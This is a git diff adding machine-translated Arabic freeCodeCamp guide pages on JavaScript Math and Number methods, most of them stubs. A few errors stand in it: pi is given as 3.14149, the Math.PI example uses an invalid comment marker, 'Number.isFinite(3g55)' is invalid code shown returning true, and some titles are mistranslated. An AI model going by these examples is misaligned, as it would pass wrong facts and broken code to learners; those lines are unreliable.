+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-clz32/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-cos/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-cos/index.md
new file mode 100644
index 0000000000..906dc8ecd9
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-cos/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Cos
+localeTitle: الرياضيات كوس
+---
+## الرياضيات كوس
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-cos/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-cosh/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-cosh/index.md
new file mode 100644
index 0000000000..ad3c38b4ff
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-cosh/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Cosh
+localeTitle: الرياضيات كوش
+---
+## الرياضيات كوش
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-cosh/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-e/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-e/index.md
new file mode 100644
index 0000000000..33e3978c3e
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-e/index.md
@@ -0,0 +1,11 @@
+---
+title: Math E
+localeTitle: الرياضيات هـ
+---
+## الرياضيات هـ
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-e/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-exp/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-exp/index.md
new file mode 100644
index 0000000000..f970e90767
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-exp/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Exp
+localeTitle: الرياضيات إكسب
+---
+## الرياضيات إكسب
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-exp/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-expm1/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-expm1/index.md
new file mode 100644
index 0000000000..9f3d42fb39
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-expm1/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Expm1
+localeTitle: الرياضيات Expm1
+---
+## الرياضيات Expm1
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-expm1/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-floor/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-floor/index.md
new file mode 100644
index 0000000000..0364ec6499
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-floor/index.md
@@ -0,0 +1,22 @@
+---
+title: Math Floor
+localeTitle: الطابق الرياضيات
+---
+## الطابق الرياضيات
+
+`Math.floor()` هي طريقة للكائن القياسي في الرياضيات تقريب رقم محدد لأسفل إلى العدد الصحيح التالي. `Math.floor()` أنه بالنسبة للأرقام السالبة فهذا يعني أن الرقم سيتم تقريبه "بعيداً عن 0" بدلاً من عدد القيمة المطلقة الأصغر حيث أن `Math.floor()` يعرض أكبر عدد صحيح أقل من أو يساوي الرقم المحدد.
+
+### أمثلة
+
+ `Math.floor(0.9)  //  0 
+ Math.floor(1.3)  //  1 
+ Math.floor(0.5)  //  0 
+ Math.floor(-0.9) // -1 
+ Math.floor(-1.3) // -2 
+` 
+
+### معلومات اكثر:
+
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/floor)
+*   [w3schools](https://www.w3schools.com/jsref/jsref_floor.asp)
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Floor_and_ceiling_functions)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-fround/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-fround/index.md
new file mode 100644
index 0000000000..4da19c33a4
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-fround/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Fround
+localeTitle: الرياضيات فوند
+---
+## الرياضيات فوند
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-fround/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-hypot/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-hypot/index.md
new file mode 100644
index 0000000000..61e401f6ae
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-hypot/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Hypot
+localeTitle: الرياضيات هيبوت
+---
+## الرياضيات هيبوت
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-hypot/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-imul/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-imul/index.md
new file mode 100644
index 0000000000..9f5a533be1
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-imul/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Imul
+localeTitle: الرياضيات BOTTOMMOST
+---
+## الرياضيات ايمول
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-imul/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-ln10/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-ln10/index.md
new file mode 100644
index 0000000000..87af157a1e
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-ln10/index.md
@@ -0,0 +1,11 @@
+---
+title: Math LN10
+localeTitle: الرياضيات LN10
+---
+## الرياضيات LN10
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-ln10/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-ln2/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-ln2/index.md
new file mode 100644
index 0000000000..d0be18944f
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-ln2/index.md
@@ -0,0 +1,11 @@
+---
+title: Math LN2
+localeTitle: الرياضيات LN2
+---
+## الرياضيات LN2
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-ln2/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-log/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-log/index.md
new file mode 100644
index 0000000000..f57e969a92
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-log/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Log
+localeTitle: سجل الرياضيات
+---
+## سجل الرياضيات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-log/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-log10/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-log10/index.md
new file mode 100644
index 0000000000..bbea7f7896
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-log10/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Log10
+localeTitle: الرياضيات Log10
+---
+## الرياضيات Log10
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-log10/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-log10e/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-log10e/index.md
new file mode 100644
index 0000000000..f1b457c020
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-log10e/index.md
@@ -0,0 +1,11 @@
+---
+title: Math LOG10E
+localeTitle: الرياضيات LOG10E
+---
+## الرياضيات LOG10E
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-log10e/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-log2e/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-log2e/index.md
new file mode 100644
index 0000000000..a5d9450fee
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-log2e/index.md
@@ -0,0 +1,11 @@
+---
+title: Math LOG2E
+localeTitle: الرياضيات LOG2E
+---
+## الرياضيات LOG2E
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-log2e/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-max/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-max/index.md
new file mode 100644
index 0000000000..5140c8662e
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-max/index.md
@@ -0,0 +1,52 @@
+---
+title: Math Max
+localeTitle: الرياضيات ماكس
+---
+## الرياضيات ماكس
+
+`Math.max()` دالة تقوم بإرجاع أكبر قيمة من قائمة القيم الرقمية التي تم تمريرها كمعلمات. إذا تم تمرير قيمة غير رقمية كمعلمة ، `Math.max()` `NaN` .
+
+يمكن تمرير صفيف من القيم الرقمية كمعلمة مفردة إلى `Math.max()` باستخدام أي من `spread (...)` أو `apply` . ومع ذلك ، قد تفشل أي من هاتين الطريقتين عندما يكون مقدار قيم الصفيف عاليًا جدًا.
+
+### بناء الجملة
+
+ `Math.max(value1, value2, value3, ...); 
+` 
+
+### المعلمات
+
+أرقام ، أو مجموعة محدودة من الأرقام.
+
+### قيمة الإرجاع
+
+أعظم القيم الرقمية المعطاة ، أو `NaN` إذا كانت قيمة معينة غير رقمية.
+
+### أمثلة
+
+_الأرقام كمعلمات_
+
+ `Math.max(4, 13, 27, 0, -5); // returns 27 
+` 
+
+_معلمة غير صالحة_
+
+ `Math.max(4, 13, 27, 'eight', -5); // returns NaN 
+` 
+
+_صفيف كمعلمة ، استخدام السبريد (…)_
+
+ `let numbers = [4, 13, 27, 0, -5]; 
+ 
+ Math.max(...numbers); // returns 27 
+` 
+
+_صفيف كمعلمة ، باستخدام تطبيق_
+
+ `let numbers = [4, 13, 27, 0, -5]; 
+ 
+ Math.max.apply(null, numbers); // returns 27 
+` 
+
+#### معلومات اكثر:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/max)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-min/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-min/index.md
new file mode 100644
index 0000000000..55108eb417
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-min/index.md
@@ -0,0 +1,17 @@
+---
+title: Math Min
+localeTitle: الرياضيات مين
+---
+## الرياضيات مين
+
+ترجع الدالة Math.min () أصغر الأرقام صفر أو أكثر.
+
+يمكنك تمرير أي عدد من الحجج.
+
+ `Math.min(7, 2, 9, -6); 
+ // returns -6 
+` 
+
+#### معلومات اكثر:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/min)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-pi/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-pi/index.md
new file mode 100644
index 0000000000..50bf97643f
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-pi/index.md
@@ -0,0 +1,18 @@
+---
+title: Math PI
+localeTitle: الرياضيات PI
+---
+## الرياضيات PI
+
+`Math.PI` هي خاصية ثابتة لكائن Math. وهو يمثل الثابت الرياضي المحدد كنسبة محيط الدائرة إلى قطرها. هو تقريبا 3.14149 ، وغالبا ما يمثله الحرف اليوناني π.
+
+![بي مصنوعة من بي](https://c1.staticflickr.com/2/1207/3352784321_0d648bec78.jpg)
+
+## أمثلة
+
+ `Math.PI \\ 3.141592653589793 
+` 
+
+#### معلومات اكثر:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/PI)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-pow/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-pow/index.md
new file mode 100644
index 0000000000..3be2f66162
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-pow/index.md
@@ -0,0 +1,26 @@
+---
+title: Math Pow
+localeTitle: الرياضيات الأسرى
+---
+## الرياضيات الأسرى
+
+إرجاع `Math.pow()` قيمة رقم إلى قوة رقم آخر.
+
+#### بناء الجملة
+
+`Math.pow(base, exponent)` ، حيث `base` هو الرقم الأساسي `exponent` هو الرقم الذي يتم من خلاله رفع `base` .
+
+`pow()` هي طريقة ثابتة `Math` ، لذلك يطلق عليها دومًا باسم `Math.pow()` بدلاً من أنها طريقة على كائن آخر.
+
+#### أمثلة
+
+ `Math.pow(5, 2); // 25 
+ Math.pow(7, 4); // 2401 
+ Math.pow(9, 0.5); // 3 
+ Math.pow(-8, 2); // 64 
+ Math.pow(-4, 3); // -64 
+` 
+
+#### معلومات اكثر:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/pow)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-random/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-random/index.md
new file mode 100644
index 0000000000..a53d55d8a8
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-random/index.md
@@ -0,0 +1,22 @@
+---
+title: Math Random
+localeTitle: الرياضيات عشوائي
+---
+## الرياضيات عشوائي
+
+إرجاع `Math.random()` رقم بين 0 (ضمناً) و 1 (خاص).
+
+#### بناء الجملة
+
+`Math.random()`
+
+#### مثال
+
+ `function randomInRange(min, max) { 
+  return Math.random() * (max - min) + min; 
+ } 
+` 
+
+#### معلومات اكثر:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-round/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-round/index.md
new file mode 100644
index 0000000000..eaf815bd8a
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-round/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Round
+localeTitle: جولة الرياضيات
+---
+## جولة الرياضيات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-round/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-sign/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-sign/index.md
new file mode 100644
index 0000000000..e0338721eb
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-sign/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Sign
+localeTitle: علامة الرياضيات
+---
+## علامة الرياضيات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-sign/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-sin/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-sin/index.md
new file mode 100644
index 0000000000..58b96538e1
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-sin/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Sin
+localeTitle: هذا جيد
+---
+## الرياضيات سين
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-sin/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-sinh/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-sinh/index.md
new file mode 100644
index 0000000000..6aebefe58a
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-sinh/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Sinh
+localeTitle: الرياضيات سينه
+---
+## الرياضيات سينه
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-sinh/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-sqrt/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-sqrt/index.md
new file mode 100644
index 0000000000..7598434d74
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-sqrt/index.md
@@ -0,0 +1,28 @@
+---
+title: Math Sqrt
+localeTitle: الرياضيات Sqrt
+---
+## الرياضيات Sqrt
+
+ترجع الدالة `Math.sqrt()` الجذر التربيعي لرقم.
+
+إذا تم إدخال رقم سالب ، يتم إرجاع `NaN` .
+
+`sqrt()` هو أسلوب ثابت من `Math` ، لذلك يتم دوماً يسمى `Math.sqrt()` بدلاً من كطريقة على كائن آخر.
+
+#### بناء الجملة
+
+`Math.sqrt(x)` ، حيث `x` رقم.
+
+#### أمثلة
+
+ `Math.sqrt(25); // 5 
+ Math.sqrt(169); // 13 
+ Math.sqrt(3); // 1.732050807568 
+ Math.sqrt(1); // 1 
+ Math.sqrt(-5); // NaN 
+` 
+
+#### معلومات اكثر:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/sqrt)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-sqrt1-2/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-sqrt1-2/index.md
new file mode 100644
index 0000000000..e833b97790
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-sqrt1-2/index.md
@@ -0,0 +1,11 @@
+---
+title: Math SQRT1_2
+localeTitle: الرياضيات SQRT1_2
+---
+## الرياضيات SQRT1\_2
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-sqrt1_2/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-sqrt2/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-sqrt2/index.md
new file mode 100644
index 0000000000..b7b438b896
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-sqrt2/index.md
@@ -0,0 +1,11 @@
+---
+title: Math SQRT2
+localeTitle: الرياضيات SQRT2
+---
+## الرياضيات SQRT2
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-sqrt2/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-tan/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-tan/index.md
new file mode 100644
index 0000000000..b963115d37
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-tan/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Tan
+localeTitle: الرياضيات تان
+---
+## الرياضيات تان
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-tan/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-tanh/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-tanh/index.md
new file mode 100644
index 0000000000..1fe58ae508
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-tanh/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Tanh
+localeTitle: الرياضيات تانه
+---
+## الرياضيات تانه
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-tanh/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-trunc/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-trunc/index.md
new file mode 100644
index 0000000000..4fcdcc7d5d
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-trunc/index.md
@@ -0,0 +1,22 @@
+---
+title: Math Trunc
+localeTitle: Math Trunc
+---
+## Math Trunc
+
+`Math.trunc()` هي طريقة للكائن القياسي في الرياضيات تقوم بإرجاع الجزء الصحيح فقط من رقم معين عن طريق إزالة وحدات كسرية. هذا يؤدي إلى التقريب الشامل نحو الصفر. أي إدخال ليس رقمًا سيؤدي إلى إخراج NaN.
+
+تنبيه: هذه الطريقة هي ميزة ECMAScript 2015 (ES6) وبالتالي فهي غير مدعومة من قبل المتصفحات القديمة.
+
+### أمثلة
+
+ `Math.trunc(0.1)   //  0 
+ Math.trunc(1.3)   //  1 
+ Math.trunc(-0.9)  // -0 
+ Math.trunc(-1.5)  // -1 
+ Math.trunc('foo') // NaN 
+` 
+
+### معلومات اكثر:
+
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/trunc)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/number/index.md b/client/src/guide/arabic/javascript/standard-objects/number/index.md
new file mode 100644
index 0000000000..02f7eb3f93
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/number/index.md
@@ -0,0 +1,13 @@
+---
+title: Number
+localeTitle: رقم
+---
+## رقم
+
+يمثل كائن Javacript `Number` أي نوع من الأرقام. لا تميّز JavaScript أنواعًا منفصلة من الأرقام ، مثل الأعداد الصحيحة أو العوامات. يتم تخزينها جميعًا في تنسيق Floating Point موحد ، 64 بت ، بالتوافق مع المعيار الدولي IEEE 754 1 .
+
+يتم إنشاء كائنات `Number` جديدة على النحو التالي: `var num = new Number(value)` على الرغم من أنه يمكن إنشاؤها بشكل أكثر شيوعًا ببساطة عن طريق تعيين قيمة عددية للمتغير: `var num = 1.616;` . في سياق غير المُنشئ (أي بدون المشغل `new` ) ، يمكن استخدام `Number` لإجراء تحويل نوع. إذا كان لا يمكن تحويل الوسيطة إلى رقم ، فإنها تُرجع [`NaN`](https://guide.freecodecamp.org/javascript/standard-objects/number/number-nan) .
+
+### مصادر
+
+1.  w3schools.com الموظفين. [w3schools.com: أرقام جافا سكريبت](https://www.w3schools.com/js/js_numbers.asp) _w3schools.com._ Accessed: 31 أكتوبر ، 2017.
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/number/number-epsilon/index.md b/client/src/guide/arabic/javascript/standard-objects/number/number-epsilon/index.md
new file mode 100644
index 0000000000..0797d9ee6e
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/number/number-epsilon/index.md
@@ -0,0 +1,11 @@
+---
+title: Number EPSILON
+localeTitle: عدد EPSILON
+---
+## عدد EPSILON
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-epsilon/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/number/number-isfinite/index.md b/client/src/guide/arabic/javascript/standard-objects/number/number-isfinite/index.md
new file mode 100644
index 0000000000..ac536ca233
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/number/number-isfinite/index.md
@@ -0,0 +1,50 @@
+---
+title: Number isFinite
+localeTitle: الرقم هو
+---
+# الرقم هو
+
+## وصف
+
+يتحقق الأسلوب `Number.isFinite()` إذا كانت القيمة التي تم تمريرها إليه رقم محدود. تم تقديم هذه الطريقة في ES6
+
+## بناء الجملة
+
+`Number.isFinite(val)`
+
+### المعلمات
+
+**فال** - قيمة للتحقق من التمدد
+
+## قيمة الإرجاع
+
+A [Boolean](https://guide.freecodecamp.org/javascript/booleans) يشير إلى ما إذا كانت القيمة عدد محدود أم لا.
+
+## وصف
+
+`Number.isFinite` عن الطريقة العالمية [isFinite ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/isFinite) ، ولا يقوم بتحويل القيمة التي تم اختبارها إلى رقم. هذا يعني أن القيمة يجب أن تكون رقمًا ومحدودًا لإرجاع true.
+
+## أمثلة
+
+ `Number.isFinite(Infinity)     // false 
+ Number.isFinite(-Infinity)    // false 
+ 
+ Number.isFinite(1234)         // true 
+ Number.isFinite(-1.11)        // true 
+ Number.isFinite(0)            // true 
+ Number.isFinite(3g55)         // true 
+ 
+ Number.isFinite('1234')       // false 
+ Number.isFinite('Hi')         // false 
+ Number.isFinite('2005/12/12') // false 
+ 
+ Number.isFinite('0');         // false, would've been true with 
+                              // global isFinite('0') 
+ 
+ Number.isFinite(null);        // false, would've been true with 
+                              // global isFinite(null) 
+` 
+
+#### معلومات اكثر:
+
+[ECMA 2015 Docs](https://www.ecma-international.org/ecma-262/6.0/#sec-number.isfinite) [Number.isFinite () MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/isFinite)
\ No newline at end of file
